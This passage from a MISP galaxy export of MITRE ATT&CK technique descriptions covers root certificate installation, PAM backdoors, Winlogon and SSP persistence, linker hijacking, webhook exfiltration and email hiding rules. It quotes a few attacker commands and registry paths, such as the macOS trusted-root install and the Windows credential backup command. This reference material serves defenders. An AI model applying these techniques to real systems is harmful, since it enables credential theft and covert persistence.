https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2
https://threatconnect.com/blog/infrastructure-research-hunting/

Install Root Certificate - T1553.004

Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.

Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)

Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)

Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017)

In macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018)

The tag is: *misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1553.004"*

Table 8363. Table References

Links

https://attack.mitre.org/techniques/T1553/004
https://docs.microsoft.com/sysinternals/downloads/sigcheck
https://en.wikipedia.org/wiki/Root_certificate
https://objective-see.com/blog/blog_0x26.html
https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec
https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/
https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/
https://www.youtube.com/watch?v=gchKFumYHWc

Virtual Private Server - T1584.003

Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig)

Compromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party.

The tag is: *misp-galaxy:mitre-attack-pattern="Virtual Private Server - T1584.003"*

Table 8364. Table References

Links
https://attack.mitre.org/techniques/T1584/003
https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/
https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf
https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2
https://threatconnect.com/blog/infrastructure-research-hunting/

Time Based Checks - T1497.003

Adversaries may employ various time-based methods to detect virtualization and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. This may include enumerating time-based properties, such as uptime or the system clock.

Adversaries may use calls like `GetTickCount` and `GetSystemTimeAsFileTime` to discover if they are operating within a virtual machine or sandbox, or may be able to identify a sandbox accelerating

time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)

The tag is: *misp-galaxy:mitre-attack-pattern="Time Based Checks - T1497.003"*

Table 8365. Table References

Links
https://attack.mitre.org/techniques/T1497/003
https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes

Application Exhaustion Flood - T1499.003

Adversaries may target resource intensive features of applications to cause a denial of service (DoS), denying availability to those applications. For example, specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself.(Citation: Arbor AnnualDoSreport Jan 2018)

The tag is: *misp-galaxy:mitre-attack-pattern="Application Exhaustion Flood - T1499.003"*

Table 8366. Table References

Links
https://attack.mitre.org/techniques/T1499/003
https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf

Pluggable Authentication Modules - T1556.003

Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is <code>pam_unix.so</code>, which retrieves, sets, and verifies account authentication information in <code>/etc/passwd</code> and <code>/etc/shadow</code>.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)

Adversaries may modify components of the PAM system to create backdoors. PAM components, such as <code>pam_unix.so</code>, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)

Malicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM

Creds)(Citation: Apple PAM)

The tag is: *misp-galaxy:mitre-attack-pattern="Pluggable Authentication Modules - T1556.003"*

Table 8367. Table References

Links
https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules
https://attack.mitre.org/techniques/T1556/003
https://github.com/zephrax/linux-pam-backdoor
https://linux.die.net/man/8/pam_unix
https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt
https://web.archive.org/web/20240303094335/https://x-c3ll.github.io/posts/PAM-backdoor-DNS/

Runtime Data Manipulation - T1565.003

Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

Adversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

The tag is: *misp-galaxy:mitre-attack-pattern="Runtime Data Manipulation - T1565.003"*

Table 8368. Table References

Links
https://attack.mitre.org/techniques/T1565/003
https://www.justice.gov/opa/press-release/file/1092091/download
https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf

Spearphishing via Service - T1566.003

Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different

from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: Lookout Dark Caracal Jan 2018) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.

A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.

The tag is: *misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1566.003"*

Table 8369. Table References

Links
https://attack.mitre.org/techniques/T1566/003
https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf

Delete Cloud Instance - T1578.003

An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence. Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable.

An adversary may also [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and later terminate the instance after achieving their objectives.(Citation: Mandiant M-Trends 2020)

The tag is: *misp-galaxy:mitre-attack-pattern="Delete Cloud Instance - T1578.003"*

Table 8370. Table References

Links
https://attack.mitre.org/techniques/T1578/003
https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/
https://cloud.google.com/logging/docs/audit#admin-activity
https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs
https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf

Code Signing Certificates - T1588.003

Adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.

Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party.

The tag is: *misp-galaxy:mitre-attack-pattern="Code Signing Certificates - T1588.003"*

Table 8371. Table References

Links
https://attack.mitre.org/techniques/T1588/003
https://en.wikipedia.org/wiki/Code_signing

NTFS File Attributes - T1564.004

Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)

Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)

The tag is: *misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004"*

Table 8372. Table References

Links
http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html
https://attack.mitre.org/techniques/T1564/004
https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/

https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/
https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/
https://learn.microsoft.com/en-us/windows/win32/fileio/file-streams
https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/
https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea
https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore

Winlogon Helper DLL - T1547.004

Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\Software[\\Wow6432Node\\]\Microsoft\Windows NT\CurrentVersion\Winlogon\</code> and <code>HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\</code> are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013)

Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)

- Winlogon\Notify - points to notification package DLLs that handle Winlogon events
- Winlogon\Userinit - points to userinit.exe, the user initialization program executed when a user logs on
- Winlogon\Shell - points to explorer.exe, the system shell executed when a user logs on

Adversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.

The tag is: *misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1547.004"*

Table 8373. Table References

Links
https://attack.mitre.org/techniques/T1547/004
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://web.archive.org/web/20160214140250/http://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order

Cloud Service Hijacking - T1496.004

Adversaries may leverage compromised software-as-a-service (SaaS) applications to complete

resource-intensive tasks, which may impact hosted service availability.

For example, adversaries may leverage email and messaging services, such as AWS Simple Email Service (SES), AWS Simple Notification Service (SNS), SendGrid, and Twilio, in order to send large quantities of spam / [Phishing](https://attack.mitre.org/techniques/T1566) emails and SMS messages.(Citation: Invictus IR DangerDev 2024)(Citation: Permiso SES Abuse 2023)(Citation: SentinelLabs SNS Sender 2024) Alternatively, they may engage in LLMJacking by leveraging reverse proxies to hijack the power of cloud-hosted AI models.(Citation: Sysdig LLMJacking 2024)(Citation: Lacework LLMJacking 2024)

In some cases, adversaries may leverage services that the victim is already using. In others, particularly when the service is part of a larger cloud platform, they may first enable the service.(Citation: Sysdig LLMJacking 2024) Leveraging SaaS applications may cause the victim to incur significant financial costs, use up service quotas, and otherwise impact availability.

The tag is: *misp-galaxy:mitre-attack-pattern="Cloud Service Hijacking - T1496.004"*

Table 8374. Table References

Links
https://attack.mitre.org/techniques/T1496/004
https://permiso.io/blog/s/aws-ses-pionage-detecting-ses-abuse/
https://sysdig.com/blog/llmjacking-stolen-cloud-credentials-used-in-new-ai-attack/
https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me
https://www.lacework.com/blog/detecting-ai-resource-hijacking-with-composite-alerts
https://www.sentinelone.com/labs/sns-sender-active-campaigns-unleash-messaging-spam-through-the-cloud/

Windows Credential Manager - T1555.004

Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)

The Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.

Credential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\Users\\[Username]\AppData\Local\Microsoft\\[Vault/Credentials]\`. The encryption key can be found in a file named <code>Policy.vpol</code>, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)

Adversaries may list credentials managed by the Windows Credential Manager through several

mechanisms. <code>vaultcmd.exe</code> is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as <code>CredEnumerateA</code>, may also be absued to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)

Adversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running <code>rundll32.exe keymgr.dll KRShowKeyMgr</code> then selecting the “Back up…” button on the “Stored User Names and Passwords” GUI.

Password recovery tools may also obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)

The tag is: *misp-galaxy:mitre-attack-pattern="Windows Credential Manager - T1555.004"*

Table 8375. Table References

Links
https://attack.mitre.org/techniques/T1555/004
https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-8.1-and-8/jj554668(v=ws.11)?redirectedfrom=MSDN
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11)#credential-manager-store
https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credenumeratea
https://github.com/gentilkiwi/mimikatz/wiki/howto-}-credential-manager-saved-credentials
https://www.passcape.com/windows_password_recovery_vault_explorer

Network Device Authentication - T1556.004

Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.

[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock)

The tag is: *misp-galaxy:mitre-attack-pattern="Network Device Authentication - T1556.004"*

Table 8376. Table References

Links
https://attack.mitre.org/techniques/T1556/004
https://cloud.google.com/blog/topics/threat-intelligence/synful-knock-acis/
https://tools.cisco.com/security/center/resources/integrity_assurance.html#13
https://tools.cisco.com/security/center/resources/integrity_assurance.html#7

Hidden File System - T1564.005

Adversaries may use a hidden file system to conceal malicious activity from users and security tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014)

Adversaries may use their own abstracted file system, separate from the standard file system present on the infected system. In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.(Citation: MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits) Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system.(Citation: ESET ComRAT May 2020) Adversaries may also fragment files across the existing file system structure in non-standard ways.(Citation: Kaspersky Equation QA)

The tag is: *misp-galaxy:mitre-attack-pattern="Hidden File System - T1564.005"*

Table 8377. Table References

Links
https://attack.mitre.org/techniques/T1564/005
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf
https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html
https://www.malwaretech.com/2014/11/virtual-file-systems-for-beginners.html
https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf

Security Support Provider - T1547.005

Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in

Windows, such as any logged-on user's Domain password or smart card PINs.

The SSP configuration is stored in two Registry keys: <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages</code> and <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)

The tag is: *misp-galaxy:mitre-attack-pattern="Security Support Provider - T1547.005"*

Table 8378. Table References

Links
http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
https://attack.mitre.org/techniques/T1547/005
https://technet.microsoft.com/en-us/library/dn408187.aspx

Run Virtual Instance - T1564.006

Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance.(Citation: CyberCX Akira Ransomware) Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019)

Adversaries may utilize native support for virtualization (ex: Hyper-V), deploy lightweight emulators (ex: QEMU), or drop the necessary files to run a virtual instance (ex: VirtualBox binaries).(Citation: Securonix CronTrap 2024) After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020)

Threat actors may also leverage temporary virtualized environments such as the Windows Sandbox, which supports the use of `.wsb` configuration files for defining execution parameters. For example, the `<MappedFolder>` property supports the creation of a shared folder, while the `<LogonCommand>` property allows the specification of a payload.(Citation: ESET MirrorFace 2025)(Citation: ITOCHU Hack the Sandbox)(Citation: ITOCHU Sandbox PPT)

In VMWare environments, adversaries may leverage the vCenter console to create new virtual machines. However, they may also create virtual machines directly on ESXi servers by running a valid `.vmx` file with the `/bin/vmx` utility. Adding this command to `/etc/rc.local.d/local.sh` (i.e., [RC Scripts](https://attack.mitre.org/techniques/T1037/004)) will cause the VM to persistently restart.(Citation: vNinja Rogue VMs 2024) Creating a VM this way prevents it from appearing in the vCenter console or in the output to the `vim-cmd vmsvc/getallvms` command on the ESXi server, thereby hiding it from typical administrative activities.(Citation: MITRE VMware Abuse 2024)

The tag is: *misp-galaxy:mitre-attack-pattern="Run Virtual Instance - T1564.006"*

Table 8379. Table References

Links
https://attack.mitre.org/techniques/T1564/006
https://blog-en.itochuci.co.jp/entry/2025/03/12/140000
https://cybercx.com.au/blog/akira-ransomware/
https://jsac.jpcert.or.jp/archive/2025/pdf/JSAC2025_2_9_kamekawa_sasada_niwa_en.pdf
https://medium.com/mitre-engenuity/infiltrating-defenses-abusing-vmware-in-mitres-cyber-intrusion-4ea647b83f5b
https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/
https://vninja.net/2024/11/11/beware-of-the-rogue-vms/
https://www.mci.gov.sg/-/media/mcicorp/doc/report-of-the-coi-into-the-cyber-attack-on-singhealth-10-jan-2019.ashx
https://www.securonix.com/blog/crontrap-emulated-linux-environments-as-the-latest-tactic-in-malware-staging/
https://www.welivesecurity.com/en/eset-research/operation-akairyu-mirrorface-invites-europe-expo-2025-revives-anel-backdoor/

Netsh Helper DLL - T1546.007

Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\SOFTWARE\Microsoft\Netsh</code>.

Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.(Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)

The tag is: *misp-galaxy:mitre-attack-pattern="Netsh Helper DLL - T1546.007"*

Table 8380. Table References

Links
https://attack.mitre.org/techniques/T1546/007
https://github.com/outflankbv/NetshHelperBeacon

https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html
https://technet.microsoft.com/library/bb490939.aspx

Dynamic Linker Hijacking - T1574.006

Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from various environment variables and files, such as <code>LD_PRELOAD</code> on Linux or <code>DYLD_INSERT_LIBRARIES</code> on macOS.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) Each platform's linker uses an extensive list of environment variables at different points in execution. These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions in the original library.(Citation: Baeldung LD_PRELOAD)

Hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. On Linux, adversaries may set <code>LD_PRELOAD</code> to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. For example, adversaries have used `LD_PRELOAD` to inject a malicious library into every descendant process of the `sshd` daemon, resulting in execution under a legitimate process. When the executing sub-process calls the `execve` function, for example, the malicious library's `execve` function is executed rather than the system function `execve` contained in the system library on disk. This allows adversaries to [Hide Artifacts](https://attack.mitre.org/techniques/T1564) from detection, as hooking system functions such as `execve` and `readdir` enables malware to scrub its own artifacts from the results of commands such as `ls`, `ldd`, `iptables`, and `dmesg`.(Citation: ESET Ebury Oct 2017)(Citation: Intezer Symbiote 2022)(Citation: Elastic Security Labs Pumakit 2024)

Hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges.

The tag is: *misp-galaxy:mitre-attack-pattern="Dynamic Linker Hijacking - T1574.006"*

Table 8381. Table References

Links
https://attack.mitre.org/techniques/T1574/006
https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/
https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html

https://intezer.com/blog/research/new-linux-threat-symbiote/
https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191
https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/
https://www.baeldung.com/linux/ld_preload-trick-what-is
https://www.elastic.co/security-labs/declawing-pumakit
https://www.man7.org/linux/man-pages/man8/ld.so.8.html
https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html
https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/

Exfiltration Over Webhook - T1567.004

Adversaries may exfiltrate data to a webhook endpoint rather than over their primary command and control channel. Webhooks are simple mechanisms for allowing a server to push data over HTTP/S to a client without the need for the client to continuously poll the server.(Citation: RedHat Webhooks) Many public and commercial services, such as Discord, Slack, and `webhook.site`, support the creation of webhook endpoints that can be used by other services, such as Github, Jira, or Trello.(Citation: Discord Intro to Webhooks) When changes happen in the linked services (such as pushing a repository update or modifying a ticket), these services will automatically post the data to the webhook endpoint for use by the consuming application.

Adversaries may link an adversary-owned environment to a victim-owned SaaS service to achieve repeated [Automated Exfiltration](https://attack.mitre.org/techniques/T1020) of emails, chat messages, and other data.(Citation: Push Security SaaS Attacks Repository Webhooks) Alternatively, instead of linking the webhook endpoint to a service, an adversary can manually post staged data directly to the URL in order to exfiltrate it.(Citation: Microsoft SQL Server)

Access to webhook endpoints is often over HTTPS, which gives the adversary an additional level of protection. Exfiltration leveraging webhooks can also blend in with normal network traffic if the webhook endpoint points to a commonly used SaaS application or collaboration service.(Citation: CyberArk Labs Discord)(Citation: Talos Discord Webhook Abuse)(Citation: Checkmarx Webhooks)

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration Over Webhook - T1567.004"*

Table 8382. Table References

Links
https://attack.mitre.org/techniques/T1567/004
https://blog.talosintelligence.com/collab-app-abuse/
https://github.com/pushsecurity/saas-attacks/blob/main/techniques/webhooks/description.md
https://medium.com/checkmarx-security/webhook-party-malicious-packages-caught-exfiltrating-data-via-legit-webhook-services-6e046b07d191
https://support.discord.com/hc/en-us/articles/228383668-Intro-to-Webhooks

https://www.cyberark.com/resources/threat-research-blog/the-not-so-secret-war-on-discord
https://www.microsoft.com/security/blog/2023/10/03/defending-new-vectors-threat-actors-attempt-sql-server-to-cloud-lateral-movement/
https://www.redhat.com/en/topics/automation/what-is-a-webhook

Email Hiding Rules - T1564.008

Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the <code>New-InboxRule</code> or <code>Set-InboxRule</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)

Adversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.

Any user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as <code>malware</code>, <code>suspicious</code>, <code>phish</code>, and <code>hack</code>) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)

In some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications).

The tag is: *misp-galaxy:mitre-attack-pattern="Email Hiding Rules - T1564.008"*

Table 8383. Table References

Links
https://attack.mitre.org/techniques/T1564/008
https://docs.microsoft.com/en-us/powershell/module/exchange/new-inboxrule?view=exchange-ps
https://docs.microsoft.com/en-us/powershell/module/exchange/set-inboxrule?view=exchange-ps
https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules
https://support.apple.com/guide/mail/use-rules-to-manage-emails-you-receive-mlhlp1017/mac

